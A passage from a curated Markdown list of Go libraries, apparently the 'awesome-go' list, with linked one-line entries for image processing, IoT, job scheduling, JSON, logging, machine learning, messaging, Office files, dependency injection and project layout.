- [go-osc](https://github.com/hypebeast/go-osc) - Open Sound Control (OSC) bindings for Go.
- [go-rpio](https://github.com/stianeikeland/go-rpio) - GPIO for Go, doesn't require cgo.
- [goroslib](https://github.com/aler9/goroslib) - Robot Operating System (ROS) library for Go.
- [joystick](https://github.com/0xcafed00d/joystick) - a polled API to read the state of an attached joystick.
- [sysinfo](https://github.com/zcalusic/sysinfo) - A pure Go library providing Linux OS / kernel / hardware system information.
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## Images
_Libraries for manipulating images._
- [bild](https://github.com/anthonynsimon/bild) - Collection of image processing algorithms in pure Go.
- [bimg](https://github.com/h2non/bimg) - Small package for fast and efficient image processing using libvips.
- [cameron](https://github.com/aofei/cameron) - An avatar generator for Go.
- [canvas](https://github.com/tdewolff/canvas) - Vector graphics to PDF, SVG or rasterized image.
- [color-extractor](https://github.com/marekm4/color-extractor) - Dominant color extractor with no external dependencies.
- [darkroom](https://github.com/gojek/darkroom) - An image proxy with changeable storage backends and image processing engines with focus on speed and resiliency.
- [draft](https://github.com/lucasepe/draft) - Generate High Level Microservice Architecture diagrams for GraphViz using simple YAML syntax.
- [geopattern](https://github.com/pravj/geopattern) - Create beautiful generative image patterns from a string.
- [gg](https://github.com/fogleman/gg) - 2D rendering in pure Go.
- [gift](https://github.com/disintegration/gift) - Package of image processing filters.
- [gltf](https://github.com/qmuntal/gltf) - Efficient and robust glTF 2.0 reader, writer and validator.
- [go-cairo](https://github.com/ungerik/go-cairo) - Go binding for the cairo graphics library.
- [go-gd](https://github.com/bolknote/go-gd) - Go binding for GD library.
- [go-nude](https://github.com/koyachi/go-nude) - Nudity detection with Go.
- [go-webcolors](https://github.com/jyotiska/go-webcolors) - Port of webcolors library from Python to Go.
- [go-webp](https://github.com/kolesa-team/go-webp) - Library for encode and decode webp pictures, using libwebp.
- [gocv](https://github.com/hybridgroup/gocv) - Go package for computer vision using OpenCV 3.3+.
- [goimagehash](https://github.com/corona10/goimagehash) - Go Perceptual image hashing package.
- [goimghdr](https://github.com/corona10/goimghdr) - The imghdr module determines the type of image contained in a file for Go.
- [govatar](https://github.com/o1egl/govatar) - Library and CMD tool for generating funny avatars.
- [govips](https://github.com/davidbyttow/govips) - A lightning fast image processing and resizing library for Go.
- [gowitness](https://github.com/sensepost/gowitness) - Screenshoting webpages using go and headless chrome on command line.
- [gridder](https://github.com/shomali11/gridder) - A Grid based 2D Graphics library.
- [image2ascii](https://github.com/qeesung/image2ascii) - Convert image to ASCII.
- [imagick](https://github.com/gographics/imagick) - Go binding to ImageMagick's MagickWand C API.
- [imaginary](https://github.com/h2non/imaginary) - Fast and simple HTTP microservice for image resizing.
- [imaging](https://github.com/disintegration/imaging) - Simple Go image processing package.
- [img](https://github.com/hawx/img) - Selection of image manipulation tools.
- [ln](https://github.com/fogleman/ln) - 3D line art rendering in Go.
- [mergi](https://github.com/noelyahan/mergi) - Tool & Go library for image manipulation (Merge, Crop, Resize, Watermark, Animate).
- [mort](https://github.com/aldor007/mort) - Storage and image processing server written in Go.
- [mpo](https://github.com/donatj/mpo) - Decoder and conversion tool for MPO 3D Photos.
- [picfit](https://github.com/thoas/picfit) - An image resizing server written in Go.
- [pt](https://github.com/fogleman/pt) - Path tracing engine written in Go.
- [resize](https://github.com/nfnt/resize) - Image resizing for Go with common interpolation methods.
- [rez](https://github.com/bamiaux/rez) - Image resizing in pure Go and SIMD.
- [scout](https://github.com/jonoton/scout) - Scout is a standalone open source software solution for DIY video security.
- [smartcrop](https://github.com/muesli/smartcrop) - Finds good crops for arbitrary images and crop sizes.
- [steganography](https://github.com/auyer/steganography) - Pure Go Library for LSB steganography.
- [stegify](https://github.com/DimitarPetrov/stegify) - Go tool for LSB steganography, capable of hiding any file within an image.
- [svgo](https://github.com/ajstarks/svgo) - Go Language Library for SVG generation.
- [tga](https://github.com/ftrvxmtrx/tga) - Package tga is a TARGA image format decoder/encoder.
- [webp-server](https://github.com/mehdipourfar/webp-server) - Simple and minimal image server capable of storing, resizing, converting and caching images.
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## IoT (Internet of Things)
_Libraries for programming devices of the IoT._
- [connectordb](https://github.com/connectordb/connectordb) - Open-Source Platform for Quantified Self & IoT.
- [devices](https://github.com/goiot/devices) - Suite of libraries for IoT devices, experimental for x/exp/io.
- [ekuiper](https://github.com/lf-edge/ekuiper) - Lightweight data stream processing engine for IoT edge.
- [eywa](https://github.com/xcodersun/eywa) - Project Eywa is essentially a connection manager that keeps track of connected devices.
- [flogo](https://github.com/tibcosoftware/flogo) - Project Flogo is an Open Source Framework for IoT Edge Apps & Integration.
- [gatt](https://github.com/paypal/gatt) - Gatt is a Go package for building Bluetooth Low Energy peripherals.
- [gobot](https://github.com/hybridgroup/gobot/) - Gobot is a framework for robotics, physical computing, and the Internet of Things.
- [huego](https://github.com/amimof/huego) - An extensive Philips Hue client library for Go.
- [iot](https://github.com/vaelen/iot/) - IoT is a simple framework for implementing a Google IoT Core device.
- [mainflux](https://github.com/Mainflux/mainflux) - Industrial IoT Messaging and Device Management Server.
- [periph](https://periph.io/) - Peripherals I/O to interface with low-level board facilities.
- [sensorbee](https://github.com/sensorbee/sensorbee) - Lightweight stream processing engine for IoT.
**[⬆ back to top](#contents)**
## Job Scheduler
_Libraries for scheduling jobs._
- [cdule](https://github.com/deepaksinghvi/cdule) - Job scheduler library with database support
- [cheek](https://github.com/datarootsio/cheek) - A simple crontab like scheduler that aims to offer a KISS approach to job scheduling.
- [clockwerk](https://github.com/onatm/clockwerk) - Go package to schedule periodic jobs using a simple, fluent syntax.
- [cronticker](https://github.com/krayzpipes/cronticker) - A ticker implementation to support cron schedules.
- [Dagu](https://github.com/dagu-go/dagu) - No-code workflow executor. it executes DAGs defined in a simple YAML format.
- [go-cron](https://github.com/rk/go-cron) - Simple Cron library for go that can execute closures or functions at varying intervals, from once a second to once a year on a specific date and time. Primarily for web applications and long running daemons.
- [go-quartz](https://github.com/reugn/go-quartz) - Simple, zero-dependency scheduling library for Go.
- [gocron](https://github.com/go-co-op/gocron) - Easy and fluent Go job scheduling. This is an actively maintained fork of [jasonlvhit/gocron](https://github.com/jasonlvhit/gocron).
- [goflow](https://github.com/fieldryand/goflow) - A simple but powerful DAG scheduler and dashboard.
- [gron](https://github.com/roylee0704/gron) - Define time-based tasks using a simple Go API and Gron’s scheduler will run them accordingly.
- [gronx](https://github.com/adhocore/gronx) - Cron expression parser, task runner and daemon consuming crontab like task list.
- [JobRunner](https://github.com/bamzi/jobrunner) - Smart and featureful cron job scheduler with job queuing and live monitoring built in.
- [jobs](https://github.com/albrow/jobs) - Persistent and flexible background jobs library.
- [leprechaun](https://github.com/kilgaloon/leprechaun) - Job scheduler that supports webhooks, crons and classic scheduling.
- [sched](https://github.com/romshark/sched) - A job scheduler with the ability to fast-forward time.
- [scheduler](https://github.com/carlescere/scheduler) - Cronjobs scheduling made easy.
- [tasks](https://github.com/madflojo/tasks) - An easy to use in-process scheduler for recurring tasks in Go.
**[⬆ back to top](#contents)**
## JSON
_Libraries for working with JSON._
- [ajson](https://github.com/spyzhov/ajson) - Abstract JSON for golang with JSONPath support.
- [ask](https://github.com/simonnilsson/ask) - Easy access to nested values in maps and slices. Works in combination with encoding/json and other packages that "Unmarshal" arbitrary data into Go data-types.
- [dynjson](https://github.com/cocoonspace/dynjson) - Client-customizable JSON formats for dynamic APIs.
- [ej](https://github.com/lucassscaravelli/ej) - Write and read JSON from different sources succinctly.
- [epoch](https://github.com/vtopc/epoch) - Contains primitives for marshaling/unmarshaling Unix timestamp/epoch to/from build-in time.Time type in JSON.
- [fastjson](https://github.com/valyala/fastjson) - Fast JSON parser and validator for Go. No custom structs, no code generation, no reflection.
- [gjo](https://github.com/skanehira/gjo) - Small utility to create JSON objects.
- [GJSON](https://github.com/tidwall/gjson) - Get a JSON value with one line of code.
- [go-jsonerror](https://github.com/ddymko/go-jsonerror) - Go-JsonError is meant to allow us to easily create json response errors that follow the JsonApi spec.
- [go-respond](https://github.com/nicklaw5/go-respond) - Go package for handling common HTTP JSON responses.
- [gojmapr](https://github.com/limiu82214/gojmapr) - Get simple struct from complex json by json path.
- [gojq](https://github.com/elgs/gojq) - JSON query in Golang.
- [gojson](https://github.com/ChimeraCoder/gojson) - Automatically generate Go (golang) struct definitions from example JSON.
- [htmljson](https://github.com/nikolaydubina/htmljson) - Rich rendering of JSON as HTML in Go.
- [JayDiff](https://github.com/yazgazan/jaydiff) - JSON diff utility written in Go.
- [jettison](https://github.com/wI2L/jettison) - Fast and flexible JSON encoder for Go.
- [jscan](https://github.com/romshark/jscan) - High performance zero-allocation JSON iterator.
- [JSON-to-Go](https://mholt.github.io/json-to-go/) - Convert JSON to Go struct.
- [JSON-to-Proto](https://json-to-proto.github.io/) - Convert JSON to Protobuf online.
- [json2go](https://github.com/m-zajac/json2go) - Advanced JSON to Go struct conversion. Provides package that can parse multiple JSON documents and create struct to fit them all.
- [jsonapi-errors](https://github.com/AmuzaTkts/jsonapi-errors) - Go bindings based on the JSON API errors reference.
- [jsoncolor](https://github.com/neilotoole/jsoncolor) - Drop-in replacement for `encoding/json` that outputs colorized JSON.
- [jsondiff](https://github.com/wI2L/jsondiff) - JSON diff library for Go based on RFC6902 (JSON Patch).
- [jsonf](https://github.com/miolini/jsonf) - Console tool for highlighted formatting and struct query fetching JSON.
- [jsongo](https://github.com/ricardolonga/jsongo) - Fluent API to make it easier to create Json objects.
- [jsonhal](https://github.com/RichardKnop/jsonhal) - Simple Go package to make custom structs marshal into HAL compatible JSON responses.
- [jsonhandlers](https://github.com/abusomani/jsonhandlers) - JSON library to expose simple handlers that lets you easily read and write json from various sources.
- [jsonic](https://github.com/sinhashubham95/jsonic) - Utilities to handle and query JSON without defining structs in a type safe manner.
- [jsonvalue](https://github.com/Andrew-M-C/go.jsonvalue) - A fast and convinient library for unstructured JSON data, replacing `encoding/json`.
- [jzon](https://github.com/zerosnake0/jzon) - JSON library with standard compatible API/behavior.
- [kazaam](https://github.com/Qntfy/kazaam) - API for arbitrary transformation of JSON documents.
- [mapslice-json](https://github.com/mickep76/mapslice-json) - Go MapSlice for ordered marshal/ unmarshal of maps in JSON.
- [marshmallow](https://github.com/PerimeterX/marshmallow) - Performant JSON unmarshaling for flexible use cases.
- [mp](https://github.com/sanbornm/mp) - Simple cli email parser. It currently takes stdin and outputs JSON.
- [OjG](https://github.com/ohler55/ojg) - Optimized JSON for Go is a high performance parser with a variety of additional JSON tools including JSONPath.
- [omg.jsonparser](https://github.com/dedalqq/omg.jsonparser) - Simple JSON parser with validation by condition via golang struct fields tags.
- [ujson](https://github.com/olvrng/ujson) - Fast and minimal JSON parser and transformer that works on unstructured JSON.
- [vjson](https://github.com/miladibra10/vjson) - Go package for validating JSON objects with declaring a JSON schema with fluent API.
**[⬆ back to top](#contents)**
## Logging
_Libraries for generating and working with log files._
- [distillog](https://github.com/amoghe/distillog) - distilled levelled logging (think of it as stdlib + log levels).
- [glg](https://github.com/kpango/glg) - glg is simple and fast leveled logging library for Go.
- [glo](https://github.com/lajosbencz/glo) - PHP Monolog inspired logging facility with identical severity levels.
- [glog](https://github.com/golang/glog) - Leveled execution logs for Go.
- [go-cronowriter](https://github.com/utahta/go-cronowriter) - Simple writer that rotate log files automatically based on current date and time, like cronolog.
- [go-log](https://github.com/pieterclaerhout/go-log) - A logging library with stack traces, object dumping and optional timestamps.
- [go-log](https://github.com/subchen/go-log) - Simple and configurable Logging in Go, with level, formatters and writers.
- [go-log](https://github.com/siddontang/go-log) - Log lib supports level and multi handlers.
- [go-log](https://github.com/ian-kent/go-log) - Log4j implementation in Go.
- [go-logger](https://github.com/apsdehal/go-logger) - Simple logger of Go Programs, with level handlers.
- [gologger](https://github.com/sadlil/gologger) - Simple easy to use log lib for go, logs in Colored Console, Simple Console, File or Elasticsearch.
- [gomol](https://github.com/aphistic/gomol) - Multiple-output, structured logging for Go with extensible logging outputs.
- [gone/log](https://github.com/One-com/gone/tree/master/log) - Fast, extendable, full-featured, std-lib source compatible log library.
- [httpretty](https://github.com/henvic/httpretty) - Pretty-prints your regular HTTP requests on your terminal for debugging (similar to http.DumpRequest).
- [journald](https://github.com/ssgreg/journald) - Go implementation of systemd Journal's native API for logging.
- [kemba](https://github.com/clok/kemba) - A tiny debug logging tool inspired by [debug](https://github.com/visionmedia/debug), great for CLI tools and applications.
- [log](https://github.com/aerogo/log) - An O(1) logging system that allows you to connect one log to multiple writers (e.g. stdout, a file and a TCP connection).
- [log](https://github.com/apex/log) - Structured logging package for Go.
- [log](https://github.com/go-playground/log) - Simple, configurable and scalable Structured Logging for Go.
- [log](https://github.com/teris-io/log) - Structured log interface for Go cleanly separates logging facade from its implementation.
- [log](https://github.com/heartwilltell/log) - Simple leveled logging wrapper around standard log package.
- [log](https://github.com/no-src/log) - A simple logging framework out of the box.
- [log-voyage](https://github.com/firstrow/logvoyage) - Full-featured logging saas written in golang.
- [log15](https://github.com/inconshreveable/log15) - Simple, powerful logging for Go.
- [logdump](https://github.com/ewwwwwqm/logdump) - Package for multi-level logging.
- [logex](https://github.com/chzyer/logex) - Golang log lib, supports tracking and level, wrap by standard log lib.
- [logger](https://github.com/azer/logger) - Minimalistic logging library for Go.
- [logmatic](https://github.com/borderstech/logmatic) - Colorized logger for Golang with dynamic log level configuration.
- [logo](https://github.com/mbndr/logo) - Golang logger to different configurable writers.
- [logrus](https://github.com/Sirupsen/logrus) - Structured logger for Go.
- [logrusiowriter](https://github.com/cabify/logrusiowriter) - `io.Writer` implementation using [logrus](https://github.com/sirupsen/logrus) logger.
- [logrusly](https://github.com/sebest/logrusly) - [logrus](https://github.com/sirupsen/logrus) plug-in to send errors to a [Loggly](https://www.loggly.com/).
- [logur](https://github.com/logur/logur) - An opinionated logger interface and collection of logging best practices with adapters and integrations for well-known libraries ([logrus](https://github.com/sirupsen/logrus), [go-kit log](https://github.com/go-kit/kit/tree/master/log), [zap](https://github.com/uber-go/zap), [zerolog](https://github.com/rs/zerolog), etc).
- [logutils](https://github.com/hashicorp/logutils) - Utilities for slightly better logging in Go (Golang) extending the standard logger.
- [logxi](https://github.com/mgutz/logxi) - 12-factor app logger that is fast and makes you happy.
- [lumberjack](https://github.com/natefinch/lumberjack) - Simple rolling logger, implements io.WriteCloser.
- [mlog](https://github.com/jbrodriguez/mlog) - Simple logging module for go, with 5 levels, an optional rotating logfile feature and stdout/stderr output.
- [noodlog](https://github.com/gyozatech/noodlog) - Parametrized JSON logging library which lets you obfuscate sensitive data and marshal any kind of content. No more printed pointers instead of values, nor escape chars for the JSON strings.
- [onelog](https://github.com/francoispqt/onelog) - Onelog is a dead simple but very efficient JSON logger. It is the fastest JSON logger out there in all scenarios. Also, it is one of the logger with the lowest allocation.
- [ozzo-log](https://github.com/go-ozzo/ozzo-log) - High performance logging supporting log severity, categorization, and filtering. Can send filtered log messages to various targets (e.g. console, network, mail).
- [phuslu/log](https://github.com/phuslu/log) - High performance structured logging.
- [pp](https://github.com/k0kubun/pp) - Colored pretty printer for Go language.
- [rollingwriter](https://github.com/arthurkiller/rollingWriter) - RollingWriter is an auto-rotate `io.Writer` implementation with multi policies to provide log file rotation.
- [seelog](https://github.com/cihub/seelog) - Logging functionality with flexible dispatching, filtering, and formatting.
- [slf4g](https://github.com/echocat/slf4g) - Simple Logging Facade for Golang: Simple structured logging; but powerful, extendable and customizable, with huge amount of learnings from decades of past logging frameworks.
- [slog](https://github.com/gookit/slog) - Lightweight, configurable, extensible logger for Go.
- [slog-formatter](https://github.com/samber/slog-formatter) - Common formatters for slog and helpers to build your own.
- [slog-multi](https://github.com/samber/slog-multi) - Chain of slog.Handler (pipeline, fanout...).
- [spew](https://github.com/davecgh/go-spew) - Implements a deep pretty printer for Go data structures to aid in debugging.
- [sqldb-logger](https://github.com/simukti/sqldb-logger) - A logger for Go SQL database driver without modify existing \*sql.DB stdlib usage.
- [stdlog](https://github.com/alexcesaro/log) - Stdlog is an object-oriented library providing leveled logging. It is very useful for cron jobs.
- [structy/log](https://github.com/structy/log) - A simple to use log system, minimalist but with features for debugging and differentiation of messages.
- [tail](https://github.com/hpcloud/tail) - Go package striving to emulate the features of the BSD tail program.
- [tint](https://github.com/lmittmann/tint) - A slog.Handler that writes tinted logs.
- [xlog](https://github.com/xfxdev/xlog) - Plugin architecture and flexible log system for Go, with level ctrl, multiple log target and custom log format.
- [xlog](https://github.com/rs/xlog) - Structured logger for `net/context` aware HTTP handlers with flexible dispatching.
- [xylog](https://github.com/xybor-x/xylog) - Leveled and structured logging, dynamic fields, high performance, zone management, simple configuration, and readable syntax.
- [yell](https://github.com/jfcg/yell) - Yet another minimalistic logging library.
- [zap](https://github.com/uber-go/zap) - Fast, structured, leveled logging in Go.
- [zax](https://github.com/yuseferi/zax) - Integrate Context with Zap logger, which leads to more flexibility in Go logging.
- [zerolog](https://github.com/rs/zerolog) - Zero-allocation JSON logger.
- [zkits-logger](https://github.com/edoger/zkits-logger) - A powerful zero-dependency JSON logger.
**[⬆ back to top](#contents)**
## Machine Learning
_Libraries for Machine Learning._
- [bayesian](https://github.com/jbrukh/bayesian) - Naive Bayesian Classification for Golang.
- [CloudForest](https://github.com/ryanbressler/CloudForest) - Fast, flexible, multi-threaded ensembles of decision trees for machine learning in pure Go.
- [ddt](https://github.com/sgrodriguez/ddt) - Dynamic decision tree, create trees defining customizable rules.
- [eaopt](https://github.com/MaxHalford/eaopt) - An evolutionary optimization library.
- [evoli](https://github.com/khezen/evoli) - Genetic Algorithm and Particle Swarm Optimization library.
- [fonet](https://github.com/Fontinalis/fonet) - A Deep Neural Network library written in Go.
- [go-cluster](https://github.com/e-XpertSolutions/go-cluster) - Go implementation of the k-modes and k-prototypes clustering algorithms.
- [go-deep](https://github.com/patrikeh/go-deep) - A feature-rich neural network library in Go.
- [go-fann](https://github.com/white-pony/go-fann) - Go bindings for Fast Artificial Neural Networks(FANN) library.
- [go-featureprocessing](https://github.com/nikolaydubina/go-featureprocessing) - Fast and convenient feature processing for low latency machine learning in Go.
- [go-galib](https://github.com/thoj/go-galib) - Genetic Algorithms library written in Go / golang.
- [go-pr](https://github.com/daviddengcn/go-pr) - Pattern recognition package in Go lang.
- [gobrain](https://github.com/goml/gobrain) - Neural Networks written in go.
- [godist](https://github.com/e-dard/godist) - Various probability distributions, and associated methods.
- [goga](https://github.com/tomcraven/goga) - Genetic algorithm library for Go.
- [GoLearn](https://github.com/sjwhitworth/golearn) - General Machine Learning library for Go.
- [golinear](https://github.com/danieldk/golinear) - liblinear bindings for Go.
- [GoMind](https://github.com/surenderthakran/gomind) - A simplistic Neural Network Library in Go.
- [goml](https://github.com/cdipaolo/goml) - On-line Machine Learning in Go.
- [gonet](https://github.com/dathoangnd/gonet) - Neural Network for Go.
- [Goptuna](https://github.com/c-bata/goptuna) - Bayesian optimization framework for black-box functions written in Go. Everything will be optimized.
- [goRecommend](https://github.com/timkaye11/goRecommend) - Recommendation Algorithms library written in Go.
- [gorgonia](https://github.com/gorgonia/gorgonia) - graph-based computational library like Theano for Go that provides primitives for building various machine learning and neural network algorithms.
- [gorse](https://github.com/zhenghaoz/gorse) - An offline recommender system backend based on collaborative filtering written in Go.
- [goscore](https://github.com/asafschers/goscore) - Go Scoring API for PMML.
- [gosseract](https://github.com/otiai10/gosseract) - Go package for OCR (Optical Character Recognition), by using Tesseract C++ library.
- [libsvm](https://github.com/datastream/libsvm) - libsvm golang version derived work based on LIBSVM 3.14.
- [m2cgen](https://github.com/BayesWitnesses/m2cgen) - A CLI tool to transpile trained classic ML models into a native Go code with zero dependencies, written in Python with Go language support.
- [neat](https://github.com/jinyeom/neat) - Plug-and-play, parallel Go framework for NeuroEvolution of Augmenting Topologies (NEAT).
- [neural-go](https://github.com/schuyler/neural-go) - Multilayer perceptron network implemented in Go, with training via backpropagation.
- [ocrserver](https://github.com/otiai10/ocrserver) - A simple OCR API server, seriously easy to be deployed by Docker and Heroku.
- [onnx-go](https://github.com/owulveryck/onnx-go) - Go Interface to Open Neural Network Exchange (ONNX).
- [probab](https://github.com/ThePaw/probab) - Probability distribution functions. Bayesian inference. Written in pure Go.
- [randomforest](https://github.com/malaschitz/randomForest) - Easy to use Random Forest library for Go.
- [regommend](https://github.com/muesli/regommend) - Recommendation & collaborative filtering engine.
- [shield](https://github.com/eaigner/shield) - Bayesian text classifier with flexible tokenizers and storage backends for Go.
- [tfgo](https://github.com/galeone/tfgo) - Easy to use Tensorflow bindings: simplifies the usage of the official Tensorflow Go bindings. Define computational graphs in Go, load and execute models trained in Python.
- [Varis](https://github.com/Xamber/Varis) - Golang Neural Network.
**[⬆ back to top](#contents)**
## Messaging
_Libraries that implement messaging systems._
- [ami](https://github.com/kak-tus/ami) - Go client to reliable queues based on Redis Cluster Streams.
- [amqp](https://github.com/rabbitmq/amqp091-go) - Go RabbitMQ Client Library.
- [APNs2](https://github.com/sideshow/apns2) - HTTP/2 Apple Push Notification provider for Go — Send push notifications to iOS, tvOS, Safari and OSX apps.
- [Asynq](https://github.com/hibiken/asynq) - A simple, reliable, and efficient distributed task queue for Go built on top of Redis.
- [Beaver](https://github.com/Clivern/Beaver) - A real time messaging server to build a scalable in-app notifications, multiplayer games, chat apps in web and mobile apps.
- [Benthos](https://github.com/Jeffail/benthos) - A message streaming bridge between a range of protocols.
- [Bus](https://github.com/mustafaturan/bus) - Minimalist message bus implementation for internal communication.
- [Centrifugo](https://github.com/centrifugal/centrifugo) - Real-time messaging (Websockets or SockJS) server in Go.
- [Chanify](https://github.com/chanify/chanify) - A push notification server send message to your iOS devices.
- [Commander](https://github.com/jeroenrinzema/commander) - A high-level event driven consumer/producer supporting various "dialects" such as Apache Kafka.
- [Confluent Kafka Golang Client](https://github.com/confluentinc/confluent-kafka-go) - confluent-kafka-go is Confluent's Golang client for Apache Kafka and the Confluent Platform.
- [dbus](https://github.com/godbus/dbus) - Native Go bindings for D-Bus.
- [drone-line](https://github.com/appleboy/drone-line) - Sending [Line](https://at.line.me/en) notifications using a binary, docker or Drone CI.
- [emitter](https://github.com/olebedev/emitter) - Emits events using Go way, with wildcard, predicates, cancellation possibilities and many other good wins.
- [event](https://github.com/agoalofalife/event) - Implementation of the pattern observer.
- [EventBus](https://github.com/asaskevich/EventBus) - The lightweight event bus with async compatibility.
- [gaurun-client](https://github.com/osamingo/gaurun-client) - Gaurun Client written in Go.
- [Glue](https://github.com/desertbit/glue) - Robust Go and Javascript Socket Library (Alternative to Socket.io).
- [go-mq](https://github.com/cheshir/go-mq) - RabbitMQ client with declarative configuration.
- [go-notify](https://github.com/TheCreeper/go-notify) - Native implementation of the freedesktop notification spec.
- [go-nsq](https://github.com/nsqio/go-nsq) - the official Go package for NSQ.
- [go-res](https://github.com/jirenius/go-res) - Package for building REST/real-time services where clients are synchronized seamlessly, using NATS and Resgate.
- [go-socket.io](https://github.com/googollee/go-socket.io) - socket.io library for golang, a realtime application framework.
- [go-vitotrol](https://github.com/maxatome/go-vitotrol) - Client library to Viessmann Vitotrol web service.
- [Gollum](https://github.com/trivago/gollum) - A n:m multiplexer that gathers messages from different sources and broadcasts them to a set of destinations.
- [golongpoll](https://github.com/jcuga/golongpoll) - HTTP longpoll server library that makes web pub-sub simple.
- [gopush-cluster](https://github.com/Terry-Mao/gopush-cluster) - gopush-cluster is a go push server cluster.
- [gorush](https://github.com/appleboy/gorush) - Push notification server using [APNs2](https://github.com/sideshow/apns2) and google [GCM](https://github.com/google/go-gcm).
- [gosd](https://github.com/alexsniffin/gosd) - A library for scheduling when to dispatch a message to a channel.
- [guble](https://github.com/smancke/guble) - Messaging server using push notifications (Google Firebase Cloud Messaging, Apple Push Notification services, SMS) as well as websockets, a REST API, featuring distributed operation and message-persistence.
- [hare](https://github.com/leozz37/hare) - A user friendly library for sending messages and listening to TCP sockets.
- [hub](https://github.com/leandro-lugaresi/hub) - A Message/Event Hub for Go applications, using publish/subscribe pattern with support for alias like rabbitMQ exchanges.
- [jazz](https://github.com/socifi/jazz) - A simple RabbitMQ abstraction layer for queue administration and publishing and consuming of messages.
- [machinery](https://github.com/RichardKnop/machinery) - Asynchronous task queue/job queue based on distributed message passing.
- [mangos](https://github.com/nanomsg/mangos) - Pure go implementation of the Nanomsg ("Scalability Protocols") with transport interoperability.
- [melody](https://github.com/olahol/melody) - Minimalist framework for dealing with websocket sessions, includes broadcasting and automatic ping/pong handling.
- [Mercure](https://github.com/dunglas/mercure) - Server and library to dispatch server-sent updates using the Mercure protocol (built on top of Server-Sent Events).
- [messagebus](https://github.com/vardius/message-bus) - messagebus is a Go simple async message bus, perfect for using as event bus when doing event sourcing, CQRS, DDD.
- [mob](https://github.com/erni27/mob) - mob is a generic-based, simple mediator / event aggregator library. It supports in-process requests / events processing.
- [NATS Go Client](https://github.com/nats-io/nats) - Lightweight and high performance publish-subscribe and distributed queueing messaging system - this is the Go library.
- [nsq-event-bus](https://github.com/rafaeljesus/nsq-event-bus) - A tiny wrapper around NSQ topic and channel.
- [oplog](https://github.com/dailymotion/oplog) - Generic oplog/replication system for REST APIs.
- [pubsub](https://github.com/tuxychandru/pubsub) - Simple pubsub package for go.
- [Quamina](https://github.com/timbray/quamina) - Fast pattern-matching for filtering messages and events.
- [rabbus](https://github.com/rafaeljesus/rabbus) - A tiny wrapper over amqp exchanges and queues.
- [rabtap](https://github.com/jandelgado/rabtap) - RabbitMQ swiss army knife cli app.
- [RapidMQ](https://github.com/sybrexsys/RapidMQ) - RapidMQ is a lightweight and reliable library for managing of the local messages queue.
- [Ratus](https://github.com/hyperonym/ratus) - Ratus is a RESTful asynchronous task queue server.
- [redisqueue](https://github.com/robinjoseph08/redisqueue) - redisqueue provides a producer and consumer of a queue that uses Redis streams.
- [rmqconn](https://github.com/sbabiv/rmqconn) - RabbitMQ Reconnection. Wrapper over amqp.Connection and amqp.Dial. Allowing to do a reconnection when the connection is broken before forcing the call to the Close () method to be closed.
- [sarama](https://github.com/Shopify/sarama) - Go library for Apache Kafka.
- [Uniqush-Push](https://github.com/uniqush/uniqush-push) - Redis backed unified push service for server-side notifications to mobile devices.
- [Watermill](https://github.com/ThreeDotsLabs/watermill) - Working efficiently with message streams. Building event driven applications, enabling event sourcing, RPC over messages, sagas. Can use conventional pub/sub implementations like Kafka or RabbitMQ, but also HTTP or MySQL binlog.
- [zmq4](https://github.com/pebbe/zmq4) - Go interface to ZeroMQ version 4. Also available for [version 3](https://github.com/pebbe/zmq3) and [version 2](https://github.com/pebbe/zmq2).
**[⬆ back to top](#contents)**
## Microsoft Office
- [unioffice](https://github.com/unidoc/unioffice) - Pure go library for creating and processing Office Word (.docx), Excel (.xlsx) and Powerpoint (.pptx) documents.
### Microsoft Excel
_Libraries for working with Microsoft Excel._
- [excelize](https://github.com/xuri/excelize) - Golang library for reading and writing Microsoft Excel™ (XLSX) files.
- [exl](https://github.com/go-the-way/exl) - Excel binding to struct written in Go.(Only supports Go1.18+)
- [go-excel](https://github.com/szyhf/go-excel) - A simple and light reader to read a relate-db-like excel as a table.
- [goxlsxwriter](https://github.com/fterrag/goxlsxwriter) - Golang bindings for libxlsxwriter for writing XLSX (Microsoft Excel) files.
- [xlsx](https://github.com/tealeg/xlsx) - Library to simplify reading the XML format used by recent version of Microsoft Excel in Go programs.
- [xlsx](https://github.com/plandem/xlsx) - Fast and safe way to read/update your existing Microsoft Excel files in Go programs.
**[⬆ back to top](#contents)**
## Miscellaneous
### Dependency Injection
_Libraries for working with dependency injection._
- [alice](https://github.com/magic003/alice) - Additive dependency injection container for Golang.
- [di](https://github.com/goava/di) - A dependency injection container for go programming language.
- [dig](https://github.com/uber-go/dig) - A reflection based dependency injection toolkit for Go.
- [dingo](https://github.com/i-love-flamingo/dingo) - A dependency injection toolkit for Go, based on Guice.
- [do](https://github.com/samber/do) - A dependency injection framework based on Generics.
- [fx](https://github.com/uber-go/fx) - A dependency injection based application framework for Go (built on top of dig).
- [gocontainer](https://github.com/vardius/gocontainer) - Simple Dependency Injection Container.
- [goioc/di](https://github.com/goioc/di) - Spring-inspired Dependency Injection Container.
- [GoLobby/Container](https://github.com/golobby/container) - GoLobby Container is a lightweight yet powerful IoC dependency injection container for the Go programming language.
- [google/wire](https://github.com/google/wire) - Automated Initialization in Go.
- [HnH/di](https://github.com/HnH/di) - DI container library that is focused on clean API and flexibility.
- [kinit](https://github.com/go-kata/kinit) - Customizable dependency injection container with the global mode, cascade initialization and panic-safe finalization.
- [linker](https://github.com/logrange/linker) - A reflection based dependency injection and inversion of control library with components lifecycle support.
- [nject](https://github.com/muir/nject) - A type safe, reflective framework for libraries, tests, http endpoints, and service startup.
- [wire](https://github.com/Fs02/wire) - Strict Runtime Dependency Injection for Golang.
**[⬆ back to top](#contents)**
### Project Layout
_**Unofficial** set of patterns for structuring projects._
- [ardanlabs/service](https://github.com/ardanlabs/service) - A [starter kit](https://github.com/ardanlabs/service/wiki) for building production grade scalable web service applications.
- [cookiecutter-golang](https://github.com/lacion/cookiecutter-golang) - A Go application boilerplate template for quick starting projects following production best practices.
- [go-module](https://github.com/octomation/go-module) - Template for a typical module written on Go.
- [go-sample](https://github.com/zitryss/go-sample) - A sample layout for Go application projects with the real code.
- [go-starter](https://github.com/allaboutapps/go-starter) - An opinionated production-ready RESTful JSON backend template, highly integrated with VSCode DevContainers.
- [go-todo-backend](https://github.com/Fs02/go-todo-backend) - Go Todo Backend example using modular project layout for product microservice.
- [gobase](https://github.com/wajox/gobase) - A simple skeleton for golang application with basic setup for real golang application.
- [golang-standards/project-layout](https://github.com/golang-standards/project-layout) - Set of common historical and emerging project layout patterns in the Go ecosystem. Note: despite the org-name they do not represent official golang standards, see [this issue](https://github.com/golang-standards/project-layout/issues/117) for more information. Nonetheless, some may find the layout useful.
